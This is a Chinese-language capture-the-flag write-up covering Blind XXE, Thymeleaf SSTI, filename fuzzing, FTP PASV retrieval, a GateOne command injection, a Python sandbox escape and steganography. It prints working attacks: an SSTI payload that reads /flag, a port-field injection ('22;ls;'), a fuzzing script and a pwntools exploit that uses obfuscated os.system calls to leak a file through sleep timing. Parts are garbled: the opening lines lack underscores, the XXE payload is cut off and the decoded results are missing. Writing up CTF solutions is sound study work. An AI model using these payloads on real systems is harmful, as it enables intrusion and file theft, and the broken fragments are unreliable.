import('0'+'s').getattribute('sy'+'stem')('whoami')
import.getattribute('func_clo'+'sure')[0].cell_contents('o'+'s').getattribute('sy'+'stem')('sleep 5')
LookAround
- 知识点:Blind XXE
- 解题步骤
打开页面查看源代码,发现有一个这个定时器,每 10 秒发个 xml 请求
测试一下这个接口,无回显,同时屏蔽了外网访问,就考虑来利用本地的 DTD 玩 XXE,题目提示了镜像名,下个同名镜像,创建个容器,寻找系统中的 dtd文档
文章下面的视频就可以知道 tomcat:8-jre8 中的fonts.dtd可用,根据这篇文档中的payload进行改造得到flag:
https://www.gosecure.net/blog/2019/07/16/automating-local-dtd-discovery-for-xxe-exploitation
">
%eval;
%error;
%local_dtd;
]>
参考资料:Blind XXE详解与Google CTF一道题分析
render
- 知识点:SSTI
- 解题步骤
查看源代码,发现关键代码:
访问api页面,发现错误页面是 Spring boot 的
测试到 [[${1+1}]]的时候返回了 2,说明是 Thymeleaf 渲染了。Thymeleaf 能拿两个中括号来取表达式的值
参考:https://dotblogs.com.tw/cylcode/2018/09/21/170510 读取文件
构造payload:
{"content":"[[${new java.io.BufferedReader(new java.io.FileReader(\"/flag\")).readLine()}]]"}
注意点:由于是json格式,所以请求头要加上类型,确保后端解析正常,否则会包415错误
正则匹配的是字母数字和下划线,固定长度为8,排序后会删除第一个文件,所以我们
写入的文件排序在后面的话是不会被删除的,所以猜测,列表中存在存在某个不会被删除
的文件,而这个目录又叫backup,所以猜测,可能会有隐藏的源码备份文件,而如果我们写入的文件排在固定文件之前,我们的文件会被删除。所以利用这个特性来fuzz固定文件的文件名,最后得到文件名为 aefebab8.txt
import requests
filename = ""
letters=['1','2','3','4','5','6','7','8','9','a','b','c','d','e','f','g','h','i','j','k','l','m','n','u','p','q','r','s','t','o','v','w','x','y','z','A','B','C','D','E','F','G','H','I','J','K','L','M','N','O','P','Q','R','S','T','U','V','W','X','Y','Z','0']
flag = 7
for j in range(8):
for i in letters:
tempname = filename + i + "z"*(flag)
# print(tempname)
requests.get("http://47.107.255.20:18088/users/0a0d713b3e0e7d16e0ba9b7a425f7c07/",params={"filename": tempname})
r = requests.get("http://47.107.255.20:18088/users/0a0d713b3e0e7d16e0ba9b7a425f7c07/backup/" + tempname + ".txt")
# print(r.status_code)
if r.status_code != 404:
print(tempname)
filename = filename + i
flag=flag-1
break
访问aefebab8.txt,其中内容为
给了源文件地址和源码,,通过源文件查看phpinfo,可以得到网站根路径,以及知道有disable_function
Easy Realworld Challenge
因为题目上有一个log viewer,可以查看之前选手的操作记录(还是视频的),跟着telnet://172.18.0.3 用户ctf,密码ctf,之后利用PSAV方式于服务器建立连接接收数据。
然后新建一个终端到生成的端口号上接收数据
PSAV生成的例如:(172,18,0,3,131,116),那么生成的端口号就是:131*256+116 = 33652
参考资料:ftp命令
Easy Realworld Challenge 2
- 解题过程
题目是一个开源的一个HTML5 web-based terminal emulator and SSH client,地址:https://github.com/liftoff/GateOne,题目提示flag is in localhost, show me your shell! ,要求是getshell,分析代码
https://github.com/liftoff/GateOne/blob/master/gateone/applications/terminal/plugins/ssh/ssh.py
get_host_fingerprint函数在执行连接命令的时候直接拼接了输入参数
寻找函数触发的地方,在WebSocket中触发执行
在ssh 连接发起之后会获取一下当前连接目标的 ssh 指纹,也就触发这个命令了。所以我们就可以在这个时候从客户端发出一个恶意消息,服务端解析之后直接格式化到命令里就可以 RCE 了。
GateOne来发送WebSocket,从而触发执行。所以我们可以自己构造 go.ws.send(JSON.stringify({'terminal:ssh_get_host_fingerprint': message}));语句,通过port来进行命令拼接,从而实现在终端上执行任意命令
GateOne.ws.send('{"terminal:ssh_get_host_fingerprint":{"host":"www.baidu.com","port":"22;ls;"}}')
所以拼接一下cat /ppppp_f_l_4_g_mmm文件的命令就可以拿到flag了
PyBox
- 考点:Python沙箱逃逸,时间盲注
- 解题过程
连接NC ,是一个Python的命令行交互
经过测试,没有输出回显,还过滤了os,eval,system等函数,用闭包抽出来外部参数的变量 (Python3 所以 func_closure 和 closure 都可以使) 来引用 os 模块,再调用 system,因为 system 和 os 被屏蔽了,需要用加号连接起来绕过屏蔽。测试执行 sleep 5 成功了。
本地测试用cut命令逐位读取文件
创建布尔盲注条件语句:
exp如下:
from pwn import *
context.log_level = "debug"
sh = remote("47.112.108.17",12312, timeout=300)
sh.recvuntil(">>>")
result = ""
for i in range(1, 46):
for j in range(31, 255):
sendtime = time.time()
sh.sendline("__import__.__getattribute__('__clo'+'sure__')[0].cell_contents('o'+'s').__getattribute__('sy'+'stem')('a=`cut -b " + str(i) + " /home/flag`; [ $a = \"" + chr(j) + "\" ] && sleep 3 ')")
sh.recvuntil(">>>")
recvtime = time.time()
if recvtime - sendtime > 2:
print("get!")
result += chr(j)
print(result)
break
if j == 254:
print(str(i) + " unknown!")
break
print(result)
2019
- 解题过程
解压得到一张图片,图片分析工具发现存在lsb隐写
提取信息,先进行base64,然后进行base85解码,这完全是坑啊
得到字符串QW8obWdIW11XTyxyOFVTM0dNMlIySSVZQjdzdA==,base64解密如下
base85解码如下